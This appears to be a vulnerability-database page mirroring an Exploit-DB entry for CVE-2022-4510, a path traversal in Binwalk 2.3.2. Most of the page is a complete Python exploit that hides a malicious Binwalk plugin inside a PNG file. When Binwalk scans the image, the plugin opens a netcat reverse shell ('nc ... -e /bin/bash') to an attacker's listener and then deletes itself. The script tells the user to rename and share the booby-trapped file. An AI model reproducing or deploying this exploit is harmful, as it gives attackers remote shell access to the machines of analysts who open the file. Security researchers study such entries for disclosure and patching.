Lucene search
K

Binwalk v2.3.2 - Remote Command Execution (RCE)

🗓️ 05 Apr 2023 00:00:00Reported by Etienne LacocheType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1944 Views

Binwalk v2.3.2 - Remote Command Execution (RCE) CVE-2022-451

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Microsoft
27 Jun 202302:20
githubexploit
GithubExploit
Exploit for Path Traversal in Microsoft
6 Feb 202320:53
githubexploit
0day.today
Binwalk v2.3.2 - Remote Command Execution Exploit
5 Apr 202300:00
zdt
Circl
CVE-2022-4510
2 Feb 202311:01
circl
CNNVD
Binwalk 路径遍历漏洞
26 Jan 202300:00
cnnvd
CVE
CVE-2022-4510
25 Jan 202312:25
cve
Cvelist
CVE-2022-4510 Path Traversal in binwalk
25 Jan 202312:25
cvelist
Debian
[SECURITY] [DLA 3339-1] binwalk security update
23 Feb 202319:45
debian
Debian
[SECURITY] [DLA 4410-1] binwalk security update
16 Dec 202508:12
debian
Debian CVE
CVE-2022-4510
25 Jan 202312:25
debiancve
Rows per page
# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
# Exploit Author: Etienne Lacoche
# CVE-ID: CVE-2022-4510
import os
import inspect
import argparse

print("")
print("################################################")
print("------------------CVE-2022-4510----------------")
print("################################################")
print("--------Binwalk Remote Command Execution--------")
print("------Binwalk 2.1.2b through 2.3.2 included-----")
print("------------------------------------------------")
print("################################################")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("------------------Discovered by:----------------")
print("---------Q. Kaiser, ONEKEY Research Lab---------")
print("---------Exploit tested on debian 11------------")
print("################################################")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input .png file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()
            
if args.file and args.ip and args.port:
    header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
    lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n','    def init(self):\n','        if not os.path.exists("/tmp/.binwalk"):\n','            os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &")\n','            with open("/tmp/.binwalk", "w") as f:\n','                f.write("1")\n','        else:\n','            os.remove("/tmp/.binwalk")\n', '            os.remove(os.path.abspath(__file__))\n','            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']

    in_file = open(args.file, "rb")
    data = in_file.read()
    in_file.close()
    
    with open("/tmp/plugin", "w") as f:
       for line in lines:
          f.write(line)

    with open("/tmp/plugin", "rb") as f: 
        content = f.read()

    os.system("rm /tmp/plugin")

    with open("binwalk_exploit.png", "wb") as f:
        f.write(data)
        f.write(header_pfs)
        f.write(content)

    print("")    
    print("You can now rename and share binwalk_exploit and start your local netcat listener.")
    print("")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation